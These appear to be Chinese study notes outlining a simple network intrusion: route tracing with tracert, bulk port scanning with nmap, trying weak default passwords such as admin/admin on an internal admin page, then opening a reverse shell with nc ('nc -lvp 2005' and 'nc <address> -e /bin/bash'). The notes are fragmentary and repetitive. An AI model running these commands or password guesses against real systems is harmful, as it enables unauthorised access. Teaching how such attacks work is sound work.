一个典型的网络安全事件
使用nc的好处
登录到管理界面后,尝试用nc命令进行交互式shell操作
nmap用作批量主机服务扫描
tracert
攻击简单场景介绍
1、tracert(Windows下命令)路由跟踪,能够查询到域名及公网地址,路由转发的过程。
2、nmap批量主机端口扫描,能够扫描到主机开放的端口。
3、尝试暴力破解。跳跃路由某些可以使用弱口令登录(admin/root/123456等)。
4、通过扫描开放的端口号,尝试用nc命令进行交互shell操作。
tracert命令tracert www.jd.com 查ip地址
nmap命批量主机服务扫描令,得知某个路由里面的端口
尝试进行暴力破解,发现登陆内网http://10.202.4.73,是否能用弱口令进行登陆,例如:admin/admin
登陆到管理界面后,尝试用nc命令进行交互式shell操作,例如nc -10.68.104.6 2005 -e/bin/bash监听黑客的2005接口,并将目标机器的所有bash命令
tracert跟踪 nmap 批量主机端口扫描 nc -lvp 2005 监控2005端口 nc *.*.*.*(源地址) -e /bin/bash 登陆到管理界面,尝试用nc命令主动连接黑客的计算机并把/bin/bash环境传给黑客
tracert [网站]
查询到那个网站某个服务器的路由器